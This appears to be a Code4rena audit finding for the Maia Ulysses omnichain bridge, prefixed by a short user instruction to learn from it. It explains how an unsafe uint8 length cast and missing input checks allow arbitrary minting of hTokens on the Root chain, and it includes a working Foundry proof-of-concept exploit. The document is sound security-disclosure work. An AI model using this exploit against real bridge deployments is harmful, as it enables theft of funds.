here is the correct vulnerability look like learn from it 
Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L275-L316
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgentExecutor.sol#L259-L299
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L404-L426
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootPort.sol#L276-L284
Vulnerability details
Impact

Adversary can construct an attack vector that let’s him mint arbitrary amount of hToken’s on the Root Chain.
Note

End-to-end coded PoC is at the end of PoC section.
Proof of Concept
Background

The attack will start on a Branch Chain where we have some underlying ERC20 token and a corresponding hToken that represents token within the omnichain system. The callOutSignedAndBridgeMultiple(...) function is supposed to bridge multiple tokens to a destination chain and also carry the msg.sender so that the tokens can be credited to msg.sender's VirtualAccount. The attacker will call the function with such DepositMultipleInputParams _dParams that take advantage of several weaknesses contained within the function (below is an overview of DepositMultipleInput struct & flow diagram of BranchBridgeAgent).

struct DepositMultipleInput {
    //Deposit Info
    address[] hTokens; //Input Local hTokens Address.
    address[] tokens; //Input Native / underlying Token Address.
    uint256[] amounts; //Amount of Local hTokens deposited for interaction.
    uint256[] deposits; //Amount of native tokens deposited for interaction.
    uint24 toChain; //Destination chain for interaction.
}

Weakness #1 is that the supplied array of tokens address[] hTokens in _dParams is not checked if it exceeds 256, this causes an obvious issue where if hTokens length is > 256 the recorded length in packedData will be wrong since it's using an unsafe cast to uint8 and will overflow - uint8(_dParams.hTokens.length) .

function callOutSignedAndBridgeMultiple(
        bytes calldata _params,
        DepositMultipleInput memory _dParams,
        uint128 _remoteExecutionGas
    ) external payable lock requiresFallbackGas {
        // code ...

        //Encode Data for cross-chain call.
        bytes memory packedData = abi.encodePacked(
            bytes1(0x06),
            msg.sender,
            uint8(_dParams.hTokens.length),
            depositNonce,
            _dParams.hTokens,
            _dParams.tokens,
            _dParams.amounts,
            _deposits,
            _dParams.toChain,
            _params,
            msg.value.toUint128(),
            _remoteExecutionGas
        );
				
				// code ...
				_depositAndCallMultiple(...);
    }

Weakness #2 arises in the subsequent internal function _depositAndCallMultiple(...), where the only check done on the supplied hTokens, tokens, amounts & deposits arrays is if the lengths match, however, there is no check if the length is the same as the one passed earlier to packedData.

function _depositAndCallMultiple(
        address _depositor,
        bytes memory _data,
        address[] memory _hTokens,
        address[] memory _tokens,
        uint256[] memory _amounts,
        uint256[] memory _deposits,
        uint128 _gasToBridgeOut
    ) internal {
        //Validate Input
        if (
            _hTokens.length != _tokens.length || _tokens.length != _amounts.length
                || _amounts.length != _deposits.length
        ) revert InvalidInput();

        //Deposit and Store Info
        _createDepositMultiple(_depositor, _hTokens, _tokens, _amounts, _deposits, _gasToBridgeOut);

        //Perform Call
        _performCall(_data);
    }

Lastly, weakness #3 is that bridgeOutMultiple(...), called within _createDepositMultiple(...), allows for supplying any address in the hTokens array since it only performs operations on these addresses if -

_deposits[i] > 0 or _amounts[i] - _deposits[i] > 0 - in other words - if we set deposits[i] = 0 & amounts[i] = 0 we can supply ANY address in hTokens[i].

function bridgeOutMultiple(
        address _depositor,
        address[] memory _localAddresses,
        address[] memory _underlyingAddresses,
        uint256[] memory _amounts,
        uint256[] memory _deposits
    ) external virtual requiresBridgeAgent {
        for (uint256 i = 0; i < _localAddresses.length;) {
            if (_deposits[i] > 0) {
                _underlyingAddresses[i].safeTransferFrom(
                    _depositor,
                    address(this),
                    _denormalizeDecimals(_deposits[i], ERC20(_underlyingAddresses[i]).decimals())
                );
            }
            if (_amounts[i] - _deposits[i] > 0) {
                _localAddresses[i].safeTransferFrom(_depositor, address(this), _amounts[i] - _deposits[i]);
                ERC20hTokenBranch(_localAddresses[i]).burn(_amounts[i] - _deposits[i]);
            }
            unchecked {
                i++;
            }
        }
    }

Supplying the attack vector

The attacker will construct such DepositMultipleInput _dParams where address[] hTokens will have a length of 257 where all entries, except hTokens[1], hTokens[2] & hTokens[3] , will contain the Branch address of the same hToken (note that in the examined functions above there is no restriction to supply the same hToken address multiple times).

In a similar way address[] tokens will have length of 257, however, here all entries will contain the underlying token (it is crucial to include the address of the underlying token to bypass _normalizeDecimals).

Next uint256[] amounts will be of length 257 where all entries will contain 0. Similarly

uint256[] deposits will be of length 257 where all entries will contain 0. In such configuration the attacker is able to supply a malicious hToken address as per weakness #3.

The crucial part now is that hTokens[1] will contain the address of the underlying token - this is needed to later bypass the params check on the RootChain.

hTokens[2] & hTokens[3] will contain the attacker’s malicious payload address that when converted to bytes and then uint256 will represent the arbitrary amount of tokens that the attacker will mint (this conversion will happen on the RootChain).

This is how the attack vector looks expressed in code.

				// hToken address, note the "h" in the var name
        address addr1 = avaxMockAssethToken;

        // underlying address
        address addr2 = address(avaxMockAssetToken);

        // 0x2FAF0800 when packed to bytes and then cast to uint256 = 800000000
				// this amount will be minted on Root 
        address malicious_address = address(0x2FAF0800);
        
        uint256 amount1 = 0;
        uint256 amount2 = 0;

        uint num = 257;
        address[] memory htokens = new address[](num);
        address[] memory tokens = new address[](num);
        uint256[] memory amounts = new uint256[](num);
        uint256[] memory deposits = new uint256[](num);

        for(uint i=0; i<num; i++) {
            htokens[i] = addr1;
            tokens[i] = addr2;
            amounts[i] = amount1;
            deposits[i] = amount2;
        }
    
        // address of the underlying token
        htokens[1] = addr2;
      
        // copy of entry containing the arbitrary number of tokens
        htokens[2] = malicious_address;
        
        // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root
        htokens[3] = malicious_address;
       
        uint24 toChain = rootChainId;

        // create input
        DepositMultipleInput memory input = DepositMultipleInput({
            hTokens:htokens,
            tokens:tokens,
            amounts:amounts,
            deposits:deposits,
            toChain:toChain
        });

Essentially what happens now is that the attacker has packedData that contains 257 hTokens, tokens, amounts & deposits , however due to weakness #1 the recorded length is 1 and due to weakness #2 and #3 this construction of the Input will reach _peformCal(data) and the mismatch between the number of entries and the actual number of supplied entries will cause malicious behavior on the RootChain.

bytes memory packedData = abi.encodePacked(
            bytes1(0x06),
            msg.sender,
            uint8(_dParams.hTokens.length),
            depositNonce,
            _dParams.hTokens,
            _dParams.tokens,
            _dParams.amounts,
            _deposits,
            _dParams.toChain,
            _params,
            msg.value.toUint128(),
            _remoteExecutionGas
        );

The attack vector is inline with the general encoding scheme displayed below, the important note is that Length will contain a value of 1 instead of 257 which will disrupt the decoding on the RootBranch. More details about the encoding can be found in IRootBridgeAgent.sol .

+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
|  Flag  |  Signer  | Length | depositNonce | hTokens[0], [1] ... [256] | tokens[0] ... [256] | amounts[0] ... [256] | deposits[0] ... [256] | toChain | data |   gas    |
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
| 1 byte | 20 bytes | 1 byte |   4 bytes    |       32 bytes * 257      |    32 bytes * 257   |    32 bytes * 257    |     32 bytes * 257    | 3 bytes | any  | 32 bytes |
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+

RootBranch receives the attack vector

The entry point for a message on the Root Chain is anyExecute(bytes calldata data) in RootBridgeAgent.sol - this will be called by Multichain’s AnycallExecutor. The function will unpack and navigate the supplied flag 0x06 - corresponding to callOutSignedAndBridgeMultiple(...) that was invoked on the Branch Chain.

Next executeSignedWithDepositMultiple(...)will be invoked residing in RootBridgeAgentExecutor.sol, which will subsequently call _bridgeInMultiple(...), however, the amount of data passed to _bridgeInMultiple(...) depends on the packed length of the hTokens array.

function executeSignedWithDepositMultiple(
        address _account,
        address _router,
        bytes calldata _data,
        uint24 _fromChainId
    ) external onlyOwner returns (bool success, bytes memory result) {
        //Bridge In Assets
        DepositMultipleParams memory dParams = _bridgeInMultiple(
            _account,
            _data[
                PARAMS_START_SIGNED:
                    PARAMS_END_SIGNED_OFFSET
                        + uint16(uint8(bytes1(_data[PARAMS_START_SIGNED]))) * PARAMS_TKN_SET_SIZE_MULTIPLE
            ],
            _fromChainId
        );

				// more code ...

If we examine closer the constants and check with the encoding scheme -

PARAMS_START_SIGNED = 21

PARAMS_END_SIGNED_OFFSET = 29

PARAMS_TKN_SET_SIZE_MULTIPLE = 128,

Here the intended behavior is that _data is sliced in such a way that it removes the flag bytes1(0x06) and the msg.sender address, hence we start at byte 21, we have 29 to account for the bytes4(nonce), bytes3(chainId) and bytes1(length) (total of 8 bytes, but remember that byte slicing is exclusive of the second byte index) + uint16(length) * 128 for every set of htoken token amount & deposit . What will happen in the attack case is that _data will be cut short since length will be 1 instead of 257 and _data will contain length, nonce, chainId and the first 4 entries of the constructed hTokens[] array.

Now _bridgeInMultiple will unpack the _dParams where numOfAssets = 1, hence only 1 iteration, and will populate a set with in reality the first 4 entries of the supplied hTokens[] in the attack vector -

hTokens[0] = hToken address,

tokens[0] = token address,

amounts[0] = malicious address payload cast to uint256,

deposits[0] = malicious address payload cast to uint256.

function _bridgeInMultiple(address _recipient, bytes calldata _dParams, uint24 _fromChain)
        internal
        returns (DepositMultipleParams memory dParams)
    {
        // Parse Parameters
        uint8 numOfAssets = uint8(bytes1(_dParams[0]));
        uint32 nonce = uint32(bytes4(_dParams[PARAMS_START:5]));
        uint24 toChain = uint24(bytes3(_dParams[_dParams.length - 3:_dParams.length]));

        address[] memory hTokens = new address[](numOfAssets);
        address[] memory tokens = new address[](numOfAssets);
        uint256[] memory amounts = new uint256[](numOfAssets);
        uint256[] memory deposits = new uint256[](numOfAssets);

        for (uint256 i = 0; i < uint256(uint8(numOfAssets));) {
            //Parse Params
            hTokens[i] = address(
                uint160(
                    bytes20(
                        bytes32(
                            _dParams[
                                PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * i) + 12:
                                    PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * (PARAMS_START + i))
                            ]
                        )
                    )
                )
            );

            tokens[i] = address(
                uint160(
                    bytes20(
                        _dParams[
                            PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(i + numOfAssets) + 12:
                                PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i + numOfAssets)
                        ]
                    )
                )
            );

            amounts[i] = uint256(
                bytes32(
                    _dParams[
                        PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)):
                            PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets)
                                + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i)
                    ]
                )
            );

            deposits[i] = uint256(
                bytes32(
                    _dParams[
                        PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)):
                            PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets)
                                + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i)
                    ]
                )
            );

            unchecked {
                ++i;
            }
        }
        //Save Deposit Multiple Params
        dParams = DepositMultipleParams({
            numberOfAssets: numOfAssets,
            depositNonce: nonce,
            hTokens: hTokens,
            tokens: tokens,
            amounts: amounts,
            deposits: deposits,
            toChain: toChain
        });

        RootBridgeAgent(payable(msg.sender)).bridgeInMultiple(_recipient, dParams, _fromChain);
    }

Subsequently bridgeInMultiple(...) is called in RootBridgeAgent.sol, where bridgeIn(...) is called for every set of hToken, token, amount & deposit - one iteration in the attack scenario.

bridgeIn(...) now performs the critical checkParams from the CheckParamsLib library where if only 1 of 3 conditions is true we will have a revert.

The first check is revert if _dParams.amount < _dParams.deposit - this is false since amount & deposit are equal to the uint256 cast of the bytes packing of the malicious address payload.

The second check is:

(_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain))

Here it’s true amount > 0 , however, _dParams.hToken is the first entry hTokens[0] of the attack vector’s hTokens[] array, therefore, it is a valid address & isLocalToken(…) will return true and will be negated by ! which will make the statement false because of &&, therefore, it is bypassed.

The third check is:

(_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain))

here it’s true deposit > 0 , however, _dParams.token is the second entry hTokens[1] of the attack vector’s hTokens[] array, therefore, it is a valid underlying address & isUnderlyingToken(…) will return true and will be negated by ! which will make the statement false because of &&, therefore, it is bypassed.

Whole checkParams(…)

function checkParams(address _localPortAddress, DepositParams memory _dParams, uint24 _fromChain)
        internal
        view
        returns (bool)
    {
        if (
            (_dParams.amount < _dParams.deposit) //Deposit can't be greater than amount.
                || (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) //Check local exists.
                || (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) //Check underlying exists.
        ) {
            return false;
        }
        return true;
    }

Now back to bridgeIn(...) in RootBridgeAgent we get the globalAddress for _dParams.hToken (again this is the valid hToken[0] address from Branch Chain) and bridgeToRoot(...) is called that resides in RootPort.sol.

		//Get global address
    address globalAddress = IPort(localPortAddress).getGlobalTokenFromLocal(_dParams.hToken, _fromChain);

    //Check if valid asset
    if (globalAddress == address(0)) revert InvalidInputParams();

    //Move hTokens from Branch to Root + Mint Sufficient hTokens to match new port deposit
    IPort(localPortAddress).bridgeToRoot(_recipient, globalAddress, _dParams.amount, _dParams.deposit, _fromChain);

bridgeToRoot(...) will check if the globalAddress is valid and it is since we got it from the valid hTokens[0] entry in the constructed attack. Then _amount - _deposit = 0 , therefore, no tokens will be transferred and finally the critical line if (_deposit > 0) mint(_recipient, _hToken, _deposit, _fromChainId) here _deposit is the malicious address payload that was packed to bytes and then unpacked and cast to uint256 & _hToken is the global address that we got from hTokens[0] back in the unpacking, therefore whatever the value of the uint256 representation of the malicious address is will be minted to the attacker.
Coded PoC

Copy the two functions testArbitraryMint & _prepareAttackVector in test/ulysses-omnichain/RootTest.t.sol and place them in the RootTest contract after the setup.

Execute with forge test --match-test testArbitraryMint -vv

Result - 800000000 minted tokens for free in attacker’s Virtual Account

function testArbitraryMint() public {
        
        // setup function used by developers to add local/global tokens in the system
        testAddLocalTokenArbitrum();

        // set attacker address & mint 1 ether to cover gas cost
        address attacker = address(0xAAAA);
        hevm.deal(attacker, 1 ether);
        
        // get avaxMockAssetHtoken global address that's on the Root
        address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId);
    
        // prepare attack vector
        bytes memory params = "";
        DepositMultipleInput memory dParams = _prepareAttackVector();
        uint128 remoteExecutionGas = 200_000_000_0;

        console2.log("------------------");
        console2.log("------------------");
        console2.log("ARBITRARY MINT LOG");

        console2.log("Attacker address", attacker);
        console2.log("Avax h token address",avaxMockAssethToken);
        console2.log("Avax underlying address", address(avaxMockAssetToken));

        console2.log("Attacker h token balance", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker));
        console2.log("Attacker underlying balance", avaxMockAssetToken.balanceOf(attacker));

        // execute attack
        hevm.prank(attacker);
        avaxMulticallBridgeAgent.callOutSignedAndBridgeMultiple{value: 0.00005 ether}(params, dParams, remoteExecutionGas);
        
        // get attacker's virtual account address
        address vaccount = address(rootPort.getUserAccount(attacker));

        console2.log("Attacker h token balance avax", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker));        
        console2.log("Attacker underlying balance avax", avaxMockAssetToken.balanceOf(attacker));

        console2.log("Attacker h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount));
    
        console2.log("ARBITRARY MINT LOG END");
		    console2.log("------------------");

    }

    function _prepareAttackVector() internal view returns(DepositMultipleInput memory) {
        
        // hToken address
        address addr1 = avaxMockAssethToken;

        // underlying address
        address addr2 = address(avaxMockAssetToken);

        // 0x2FAF0800 when encoded to bytes and then cast to uint256 = 800000000 
        address malicious_address = address(0x2FAF0800);
        
        uint256 amount1 = 0;
        uint256 amount2 = 0;

        uint num = 257;
        address[] memory htokens = new address[](num);
        address[] memory tokens = new address[](num);
        uint256[] memory amounts = new uint256[](num);
        uint256[] memory deposits = new uint256[](num);

        for(uint i=0; i<num; i++) {
            htokens[i] = addr1;
            tokens[i] = addr2;
            amounts[i] = amount1;
            deposits[i] = amount2;
        }
    
        // address of the underlying token
        htokens[1] = addr2;
      
        // copy of entry containing the arbitrary number of tokens
        htokens[2] = malicious_address;
        
        // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root
        htokens[3] = malicious_address;
       
        uint24 toChain = rootChainId;

        // create input
        DepositMultipleInput memory input = DepositMultipleInput({
            hTokens:htokens,
            tokens:tokens,
            amounts:amounts,
            deposits:deposits,
            toChain:toChain
        });

        return input;

    }

Tools Used

Manual inspection
Recommendation

Enforce more strict checks around input param validation on bridging multiple tokens.
Assessed type

Invalid Validation